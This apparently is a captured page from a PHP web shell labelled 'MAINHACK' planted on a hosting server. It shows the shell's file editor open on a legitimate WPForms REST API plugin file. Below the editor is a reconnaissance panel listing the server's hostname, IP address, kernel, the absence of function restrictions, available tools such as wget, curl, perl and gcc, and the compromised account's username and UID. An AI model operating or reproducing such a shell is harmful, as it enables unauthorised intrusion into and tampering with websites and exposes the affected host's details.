[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RestApi.php
<?php /** * WPForms API routes for usage in WP's RestApi. * * @since 2.9.0 * * @author Eduardo Nakatsuka */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Rest Api class. * * @since 2.9.0 */ class OMAPI_WPForms_RestApi extends OMAPI_BaseRestApi { /** * The OMAPI_WPForms instance. * * @since 2.8.0 * * @var OMAPI_WPForms */ public $wpforms; /** * Constructor * * @since 2.13.0 * * @param OMAPI_WPForms $wpforms */ public function __construct( OMAPI_WPForms $wpforms ) { $this->wpforms = $wpforms; parent::__construct(); } /** * Registers the Rest API routes for WPForms * * @since 2.9.0 * * @return void */ public function register_rest_routes() { register_rest_route( $this->namespace, 'wpforms/forms', array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( $this, 'logged_in_or_has_api_key' ), 'callback' => array( $this, 'forms' ), ) ); } /** * Handles getting WPForms forms. * * Route: GET omapp/v1/woocommerce/forms * * @since 2.9.0 * * @param WP_REST_Request $request The REST Request. * * @return WP_REST_Response The API Response * @throws Exception If plugin action fails. */ public function forms() { try { return new WP_REST_Response( $this->wpforms->get_forms_array(), 200 ); } catch ( Exception $e ) { return $this->exception_to_response( $e ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.15 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830